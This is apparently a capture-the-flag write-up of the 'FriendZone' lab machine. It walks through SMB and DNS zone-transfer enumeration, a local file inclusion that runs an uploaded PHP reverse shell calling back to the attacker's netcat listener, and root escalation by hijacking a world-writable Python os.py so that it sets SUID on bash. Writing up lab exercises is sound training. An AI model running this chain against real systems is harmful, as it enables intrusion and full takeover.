search

FriendZone

hashtag
Enumeration

As always, we start with the enumeration phase, in which we try to scan the machine looking for open ports and finding out services and versions of those opened ports.

The following nmap command will scan the target machine looking for open ports in a fast way and saving the output into a file:

nmap -sS --min-rate 5000 -p- -T5 -Pn -n 10.10.10.123 -oN allPorts

  • -sS use the TCP SYN scan option. This scan option is relatively unobtrusive and stealthy, since it never completes TCP connections.

  • --min-rate 5000 nmap will try to keep the sending rate at or above 5000 packets per second.

  • -p- scanning the entire port range, from 1 to 65535.

  • -T5 insane mode, it is the fastest mode of the nmap time template.

  • -Pn assume the host is online.

  • -n scan without reverse DNS resolution.

  • -oN save the scan result into a file, in this case the allports file.

Now that we know which ports are open, let's try to obtain the services and versions running on these ports. The following command will scan these ports more in depth and save the result into a file:

nmap -sC -sV -p21,22,53,80,139,443,445 10.10.10.123 -oN targeted

  • -sC performs the scan using the default set of scripts.

  • -sV enables version detection.

  • -oN save the scan result into file, in this case the targeted file.

Let's start enumerating the SMB server with smbmap.

smbmap -H 10.10.10.123

  • -H IP address of host.

The guest user is able to read the general share and write and read in the Development share. Note the comment on the Files share saying that it is located in /etc/files. We could guess that the other two shares are located in /etc/general and /etc/Development. The Development share is empty.

smbclient //10.10.10.123/Development

But the general share contains one file called creds.txt.

smbclient //10.10.10.123/general

Let's transfer it to our local machine, and open it.

smb: > get creds.txt

The file contains some credentials, but we don't know for what yet. If we take a look at the HTTP website on port 80, we'll see just an image and an email with the friendzoneportal.red domain.

Let's add that domain name and the one which nmap reported to the /etc/hosts file.

nano /etc/hosts

Now, let's check if there is any virtual hosting going on.

circle-info

Virtual hosting is a method for hosting multiple domain names (with separate handling of each name) on a single server.

If we check the following URL, we'll see another different website.

https://friendzone.red/

And in using the friendzoneportal.red domain name, we'll see another one.

https://friendzoneportal.red/

As port 53 (DNS) is open on the machine, we can try to do a transfer zone attack and list all possible subdomains for the friendzone.red domain name.

dig @10.10.10.123 friendzone.red axfr

And the friendzoneportal.red domain name.

dig @10.10.10.123 friendzoneportal.red axfr

Let's add all these new subdomains to the /etc/hosts file.

nano /etc/hosts

hashtag
Exploitation

In the administrator1.friendzone.red HTTPS server, there is a login page, where the credentials that we have might work.

https://administrator1.friendzone.red/

It looks like the credentials are valid.

Let's go to the /dashboard.php page.

https://administrator1.friendzone.red/dashboard.php

Let's do what is says and add the GET parameters with those values.

https://administrator1.friendzone.red/dashboard.php?image_id=a.jpg&pagename=timestamp

If we try to change the pagename parameter, we'll get an error saying that the include function failed.

https://administrator1.friendzone.red/dashboard.php?image_id=a.jpg&pagename=test

If we try to put dashboard it will load the page we are currently in.

https://administrator1.friendzone.red/dashboard.php?image_id=a.jpg&pagename=dashboard

This happens probably because the PHP script is adding the .php extension to the value of the pagename parameter. One thing we could do is upload a PHP file, which will send us a reverse shell, to the Development share, supposedly located in /etc/Development, and access it through this exploit. I will be using the /usr/share/webshells/php/php-reverse-shell.php reverse shell.

cp /usr/share/webshells/php/php-reverse-shell.php .

nano /usr/share/webshells/php/php-reverse-shell.php

Then upload the shell to the Development share.

smbclient //10.10.10.123/Development

Set a netcat listener on port 4444.

nc -lvnp 4444

  • -l listen mode.

  • -v verbose mode.

  • -n numeric-only IP, no DNS resolution.

  • -p specify the port to listen on.

Finally, if we put /etc/Development/php-reverse-shell.php, we should get a shell as the www-data user. Then, we'll be able to grab the user flag.

https://administrator1.friendzone.red/dashboard.php?image_id=a.jpg&pagename=/etc/Development/php-reverse-shell

hashtag
Privilege Escalation

First, let's set an interactive TTY shell.

script /dev/null -c /bin/bash

Then I press Ctrl+Z and execute the following command on my local machine:

stty raw -echo; fg

reset

Terminal type? xterm

Next, I export a few variables:

export TERM=xterm

export SHELL=bash

Finally, I run the following command in our local machine:

stty size

And set the proper dimensions in the victim machine:

stty rows 51 columns 236

Let's check the system users.

grep sh /etc/passwd

There is only one user called friend. If we inspect the /var/www directory, we'll find the mysql_data.conf file which contains the password for the friend user.

cat /var/www/mysql_data.conf

Let's become the friend user.

su friend

At this point, I tried to look for scheduled tasks on the system with the pspy tool. Let's transfer pspyarrow-up-right to the friendzone machine.

circle-info

pspy is a command line tool designed to snoop on processes without need for root permissions. It allows you to see commands run by other users, cron jobs, etc. as they execute.

https://github.com/DominicBreuker/pspyarrow-up-right

python -m http.server

On the time machine, go to the /tmp directory, download the binary, and give it execution permissions.

cd /tmp

wget http://10.10.14.11:8000/pspy64

chmod +x pspy64

If we execute the tool, we'll see at some point that the root user, with the UID set to 0, is executing the /opt/server_admin/reporter.py script.

./pspy64

This script is just importing the os library and printing a message with a few variables.

cat /opt/server_admin/reporter.py

The thing is that if we search for the os.py script, and look its permissions, we'll see that everyone can write on it.

find / -name os.py 2>/dev/null | xargs ls -l

Now we can modify the script so when root executes it, it will give the /bin/bash binary the SUID permission. Add the following code at the end of the /usr/lib/python2.7/os.py script.

nano /usr/lib/python2.7/os.py

If we wait for a few minutes, we should see the bash binary with SUID permissions.

ls -l /bin/bash

Now, all we have to do is execute bash with root permissions, reap the harvest and take the root flag.

bash -p

Last updated

Was this helpful?